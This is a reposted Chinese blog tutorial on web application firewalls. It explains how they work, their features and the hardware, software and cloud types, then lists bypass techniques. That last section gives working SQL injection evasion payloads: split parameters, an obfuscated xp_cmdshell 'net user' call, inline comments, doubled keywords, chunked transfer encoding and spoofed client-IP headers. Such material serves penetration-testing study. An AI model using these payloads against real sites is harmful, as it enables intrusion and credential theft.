Waf功能、分类与绕过

看到好的东西就转载了
一. waf 工作原理
Web 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。

常见的系统攻击分为两类:

一是利用 Web 服务器的漏洞进行攻击,如 DDOS 攻击、病毒木马破坏等攻击;
二是利用网页自身的安全漏洞进行攻击,如 SQL 注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

  1. waf 简介
    WAF 是 Web 应用防火墙(Web Application Firewall)的简称,对来自 Web 应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为 Web 应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF 属于检测型及纠正型防御控制措施。WAF 分为硬件 WAF、软件 WAF(ModSecurity)和云 WAF。

WAF 对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

  1. WAF 主要功能
    网马木马主动防御及查杀
    网页木马和网页挂马扫描工具采用特征码 + 启发式引擎的查杀算法,WEB 木马检出率大于 90%

流量监控
能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的 CPU 占用情况

网站漏洞防御功能
可拦截 GET、POST、COOKIES 等方式的 SQL 注入,可对 GET、POST、COOKIES 分别定义特征码,以及可拦截 XSS 注入等行为。

危险组件防护功能
全面拦截恶意代码对组件的调用权限,拦截 IIS 执行恶意程序,保护网站安全

.Net 安全保护模块
快捷设置.Net 安全模式,禁止.Net 执行系统敏感函数,保障网站安全

双层防盗链链接模式

可以针对不同站点设置防盗链的过滤,防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接,则自动重定向到错误处理页面

网站特定资源防下载

支持对 doc、mdb、mdf、myd 等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

CC 攻击防护
自主研发的独特抗攻击算法,高效的主动防御系统可有效防御 CC 攻击、流量攻击。

网站流量保护
支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术,大大提高服务器性能,保护网站流量。

10.IP 黑白名单

全 IP 黑白名单功能允许用户设置个性化的 IP 信任列表,直接屏蔽或者允许指定 IP 访问网站。同时,增加 iP 临时黑名单功能,以及实现了针对某个功能的 iP 白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。

二、市场 Waf 分类

  1. 硬件 Waf:
    绿盟、启明、安恒、知道创宇、天融信等
    硬件 Waf 通常的安装方式是将 Waf 串行部署在 Web 服务器前端,用于检测、阻断异常流量。
    常规硬件 Waf 的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。

  2. 软件 Waf:
    安全狗、云锁、中间件自带的Waf模块、D盾等
    软件 Waf 则是安装在需要防护的服务器上,实现方式通常是 Waf 监听端口或以 Web 容器扩展方式进行请求检测和阻断。

  3. 云 WAF:
    阿里云、安全狗、安恒、知道创宇、腾讯网站管家等
    云 WAF,也称 WEB 应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用 DNS 技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。

三、Waf 绕过方法
1、burp 安装 waf 模块
步骤:插件扩展–BApp Store–Bypass WAF
项目选项–会议–会话处理规则–添加

2、通过工具伪造百度、google 等 user agent 头或者伪造白名单特殊目录
把 User-Agent 修改百度等各大搜索引擎的便可以绕过,把此处替换为百度等搜索引擎的 User-Agent

3、编码绕过,把 SQL 语句编码便可以绕过 waf

4、修改请求方式绕过

利用 waf 的默认规则绕过,如默认只针对 GET 拦截,不对 post 拦截,那我们就可以用 POST 方式传输绕过 waf
5、复合参数绕过
例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多 WAF 都可以这样绕,测试最新版 WAF 能绕过部分语句

6、WAF 触发规则的绕过
特殊字符替换空格:%0a/**/ /|%23–%23|/
特殊字符拼接:+
如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
可以改为:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)
注释包含关键字
如: GET /pen/news.php?id=1 union select user,password from mysql.user

可以改为: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user

空格替换法
把空格替换成 %0a// 可以绕过
使用大小写
http://www.
.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
UNIunionON SELselectECT 1,2,3,4…. 经过 waf 过滤后就变成 union select 1,2,3,4…
异或绕过
lucy’ Xor ‘1’=‘1’ #
利用 WAF 本身的功能绕过,把”
” 替换为空 union+select+1,2,3,4….

组合法:编码与注释
1、 替换法 + URL 编码 2、注释 + 替换法 3、内联注释 + 替换法

把 and 为 &&,urlencode 后为 %26%26 如:%20%26%26%20-1=-1

7、分块传输绕过
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 87

4
id=1
6
union
7
select
2
1
8
,user(),
5
3,4,5
0
Transfer-Encoding: chunked

id=1 union select 1,user(),3,4,5

8、 云 waf 绕过
寻找真实 ip 绕过云 waf

9、 云 waf 伪造请求包头信息
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
绕过 waf 的方法有很多,也有许多方式被时代淘汰,你需要不停的思考绕过它的各种可能性,不断的去完善它。

————————————————
原文作者:ChenTing
转自链接:https://learnku.com/articles/51560
版权声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请保留以上作者信息和原文链接。

你可能感兴趣的:(安全)